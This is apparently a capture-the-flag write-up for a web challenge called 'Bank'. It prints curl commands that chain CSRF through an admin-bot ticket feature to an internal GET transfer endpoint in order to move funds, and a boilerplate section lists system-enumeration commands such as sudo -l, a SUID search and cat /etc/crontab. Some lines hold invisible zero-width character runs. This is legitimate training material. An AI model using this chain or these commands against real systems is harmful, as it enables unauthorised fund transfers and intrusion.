← Back to Writeups
HTBEasyWeb

Bank

D3v0o0Nu119/2/20263 min read
#web#htb#easy#admin_bot_exploitation#csrf_via_get_transfer#ssrf_internal_hostname

Bank

Platform: Spfctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-15 | Status: Solved Techniques: admin_bot_exploitation, csrf_via_get_transfer, ssrf_internal_hostname

Summary

Task: Bank web app with cashback program. Solution: Exploit GET-based transfer endpoint via CSRF through admin bot ticket system, using internal hostname from API docs to trigger SSRF and transfer funds to unlock cashback with flag.

Recon

Port scan

bash
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: spfctf | ID: 20260315_spfctf_bank
  • Tags: ssrf, jwt, api, csrf, admin_bot, swagger, internal_hostname
  • Indicators: GET-based transfer endpoint, ticket system with URL parameter, internal hostname in API docs, admin bot visits submitted URLs
  • Source: 20260315_spfctf_bank.md

Foothold

Vulnerability / Misconfiguration

  1. admin_bot_exploitation
  2. csrf_via_get_transfer
  3. ssrf_internal_hostname
bash
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

bash
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
bash
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_exploitation
  • csrf_via_get_transfer
  • ssrf_internal_hostname
  • Tags: ssrf, jwt, api, csrf, admin_bot, swagger, internal_hostname

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Check out new cashback program! https://bank.2537ly.space/docs/

Analysis

Reconnaissance

Swagger UI at https://bank.2537ly.space/docs/ documents the "Transparent bank" API (v0.0.2) with description "Blockchain based and API powered bank. Server internally at http://bank:3000".

API endpoints:

  1. POST /api/signup — registration (username, password)
  2. POST /api/login — login, returns JWT in cookie session
  3. GET /api/me — balance. Description: "Cashback is available when balance > 100"
  4. GET /api/transfer — money transfer (query params: to, amount). GET-based!
  5. POST /api/ticket — ticket to admin (body: problem, url — "URL where error happened") ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Observations

After registration and login:

  • /api/me: {"cashback": false, "username": "testuser_ctf123", "password": "testpass123", "balance": "0"}
  • /api/transfer: {"error": "Transfers are available for admin only"} — only admin can transfer
  • /api/ticket accepts a URL that the admin bot visits
  • API description reveals internal hostname: http://bank:3000
  • Transfer endpoint uses GET method — trivially exploitable via CSRF
  • Security headers: x-frame-options: DENY, x-xss-protection: 1; mode=block, x-content-type-options: nosniff ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Attack Vector: SSRF/CSRF via Ticket System

Attack chain:

  1. Register an account and log in
  2. Submit a ticket with URL to internal transfer endpoint: http://bank:3000/api/transfer?to=testuser_ctf123&amount=200
  3. Admin bot visits this URL with its session, executing transfer to our account
  4. Balance becomes 200 (> 100), unlocking cashback with the flag

Solution

bash
# Step 1: Sign up
curl -s -X POST https://bank.2537ly.space/api/signup \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser_ctf123","password":"testpass123"}'
# Response: {"success":true}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 2: Login (get session JWT cookie)
curl -sv -X POST https://bank.2537ly.space/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"testuser_ctf123","password":"testpass123"}'
# Response: set-cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

SESSION="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3R1c2VyX2N0ZjEyMyIsImlhdCI6MTc3MzU5ODU3OX0.EdUUGeWuN7ugkiWTIE895f38CX6fS8rxfuzsOHuObTg"

# Step 3: Submit ticket with CSRF URL targeting internal transfer endpoint
curl -s -X POST -b "session=$SESSION" https://bank.2537ly.space/api/ticket \
  -H 'Content-Type: application/json' \
  -d '{"problem":"test","url":"http://bank:3000/api/transfer?to=testuser_ctf123&amount=200"}'
# Response: {"success":[[null,"OK"],[null,1]]}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Step 4: Wait for admin bot, then check balance
sleep 5
curl -s -b "session=$SESSION" https://bank.2537ly.space/api/me
# Response: {"cashback":"spbctf{REDACTED}","username":"testuser_ctf123","password":"testpass123","balance":"200"}

Why This Works

  • Transfer endpoint uses GET method without CSRF protection — trivially triggered by visiting a URL
  • Ticket system acts as an admin bot that visits arbitrary URLs with admin's session
  • API description reveals internal hostname (http://bank:3000), allowing SSRF to bypass external restrictions
  • Admin has funds, transfer succeeds, crediting our account
  • When balance > 100, the /api/me endpoint reveals the flag in the cashback field ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

signed by XESXOR